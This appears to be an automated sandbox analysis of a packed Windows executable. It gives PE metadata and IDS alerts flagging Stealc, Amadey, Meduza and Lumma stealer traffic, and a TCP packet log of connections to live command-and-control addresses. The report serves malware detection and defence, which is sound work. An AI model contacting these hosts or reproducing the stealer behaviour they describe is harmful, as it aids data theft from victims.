SHA512:	bd6fb0b5134115a214e602a49279507599ce3d70a17671d1e6867f3fccee03f5f687b534276e2a5449f3c5394e4e25b8c9d5a93e0af3e88e47ab63d82a9dff6d
SSDEEP:	49152:2ws6ayMsc8xJW79bKk8AN3K98PUxzP8+rGP:2ws6ayMmTymLs2xb82
TLSH:	3885338B0C751E52C3CB9F769097234394EFB88A47DE212FEC3205B1311965E6D22BDA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F07BCAC612Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	f6720ec9f2a7eebfd39b456802847bdc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	05a39678314fc7b4532d12920632f743	False	0.583984375	data	4.511489648336088	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a2000	0x200	cc0d6de3d76308bbe8f438bace895f81	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
adtgofcj	0x4ee000	0x19a000	0x19a000	a8dd66eb9bbfe34c8f7c32c7f5151461	False	0.9950963462271342	data	7.954452657279922	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xgzatmop	0x688000	0x1000	0x400	be5f6137f115220a05b4a6fd7cfcf975	False	0.7734375	data	6.097895244568746	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x689000	0x3000	0x2200	449c1f7dd1db7a48914d577d78fafbb6	False	0.09133731617647059	DOS executable (COM)	1.0844759338839343	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x687e7c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T18:26:12.941863+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:13.414575+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:13.535726+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-12-07T18:26:13.865983+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:13.987669+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49699	TCP
2024-12-07T18:26:15.423045+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:16.155513+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.206	80	TCP
2024-12-07T18:26:44.331582+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:46.396672+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:48.256450+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:50.054079+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:55.400165+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:26:56.396919+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49786	185.215.113.206	80	TCP
2024-12-07T18:27:01.781732+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49831	185.215.113.16	80	TCP
2024-12-07T18:27:35.082555+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49906	185.215.113.43	80	TCP
2024-12-07T18:27:39.602053+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49920	31.41.244.11	80	TCP
2024-12-07T18:27:48.773614+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49915	TCP
2024-12-07T18:27:50.133955+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49944	185.215.113.43	80	TCP
2024-12-07T18:27:51.607595+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49949	185.215.113.16	80	TCP
2024-12-07T18:27:53.383272+0100	2049441	ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt	1	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.383272+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.383272+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.503054+0100	2050806	ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2	1	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:53.503054+0100	2050807	ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)	1	192.168.2.7	49941	5.252.155.28	15666	TCP
2024-12-07T18:27:56.612482+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	59398	1.1.1.1	53	UDP
2024-12-07T18:27:59.474692+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49962	185.215.113.43	80	TCP
2024-12-07T18:27:59.531715+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:27:59.531715+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:01.164132+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49966	185.215.113.16	80	TCP
2024-12-07T18:28:02.326099+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:02.326099+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49963	104.21.16.9	443	TCP
2024-12-07T18:28:03.630260+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:03.630260+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:06.026748+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:06.026748+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49973	104.21.16.9	443	TCP
2024-12-07T18:28:07.670029+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49982	104.21.16.9	443	TCP
2024-12-07T18:28:07.670029+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49982	104.21.16.9	443	TCP
2024-12-07T18:28:08.090760+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49983	185.215.113.43	80	TCP
2024-12-07T18:28:09.581477+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49987	185.215.113.16	80	TCP
2024-12-07T18:28:09.906558+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49986	185.215.113.206	80	TCP
2024-12-07T18:28:12.162528+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49994	104.21.16.9	443	TCP
2024-12-07T18:28:12.162528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49994	104.21.16.9	443	TCP
2024-12-07T18:28:14.666762+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49994	104.21.16.9	443	TCP
2024-12-07T18:28:14.679718+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	50001	104.21.16.9	443	TCP
2024-12-07T18:28:14.679718+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	50001	104.21.16.9	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 18:26:02.307081938 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 18:26:03.510277987 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 18:26:04.166553020 CET	49674	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:04.167452097 CET	49675	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:04.275929928 CET	49672	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:05.916481972 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 18:26:09.932548046 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:10.307140112 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:10.729036093 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 18:26:11.029184103 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:11.057157040 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:11.148868084 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:11.148936987 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:11.153733015 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:11.273355007 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:12.487263918 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:12.487422943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:12.492028952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:12.557146072 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:12.611634970 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:12.941809893 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:12.941863060 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:12.943329096 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.172924995 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.414510012 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.414525032 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.414575100 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.414602041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.416213036 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.535726070 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.775932074 CET	49674	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:13.776053905 CET	49675	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:13.865816116 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.865952969 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.865967035 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.865983009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.866054058 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.866054058 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.866415977 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.866429090 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.866440058 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:13.866534948 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.866534948 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.868046999 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:13.882304907 CET	49672	443	192.168.2.7	104.98.116.138
Dec 7, 2024 18:26:13.987668991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.310367107 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.312485933 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:14.345822096 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:14.345974922 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:14.465354919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.465670109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.465708017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.465923071 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.465934992 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:14.465970039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:15.118781090 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:15.118830919 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:15.118890047 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:15.119301081 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:15.119309902 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:15.422808886 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:15.423044920 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:15.541564941 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 18:26:15.717571974 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:15.837219954 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.155247927 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.155421019 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.155513048 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.159409046 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.159476042 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.159573078 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.167814016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.167877913 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.167892933 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.168020964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.176177025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.176238060 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.176242113 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.176281929 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.186882973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.186903000 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.186944962 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.186969042 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.192939043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.192961931 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.193042040 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.280004025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.280076981 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.280081987 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.280129910 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.282448053 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.282548904 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.282639980 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.290822029 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.290942907 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.290997982 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.299225092 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.299283028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.299366951 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.299438953 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.307565928 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.307636023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.307693958 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.307770014 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.347330093 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.347438097 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.347455025 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.347528934 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.351419926 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.351499081 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.351505995 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.351557970 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.358949900 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.358964920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.359040022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.367239952 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.367338896 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.367562056 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.367621899 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.376971960 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.376986027 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.377043009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.384008884 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.384082079 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.384181023 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.384243011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.392052889 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.392069101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.392241001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.406164885 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.406260014 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.406316996 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.406344891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.409742117 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.409815073 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.409847021 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.409898043 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.417073965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.417100906 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.417146921 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.417263031 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.422379017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.422461033 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.422477961 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.422533989 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.429532051 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.429610968 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.429662943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.429662943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.472449064 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.472513914 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.472548008 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.472577095 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.475464106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.475563049 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.475636005 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.475856066 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.481654882 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.481697083 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.481753111 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.481753111 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.487765074 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.487806082 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.487848997 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.487848997 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.493859053 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.493940115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.493958950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.494012117 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.499979973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.500056982 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.500108004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.500315905 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.506074905 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.506156921 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.506181955 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.506232023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.512212992 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.512275934 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.512319088 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.512319088 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.518635035 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.518651009 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.518723011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.539207935 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.539324045 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.539355993 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.539414883 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.541021109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.541188002 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.541199923 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.541238070 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.544719934 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.544786930 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:16.544814110 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:16.544878006 CET	49699	80	192.168.2.7	185.215.113.206
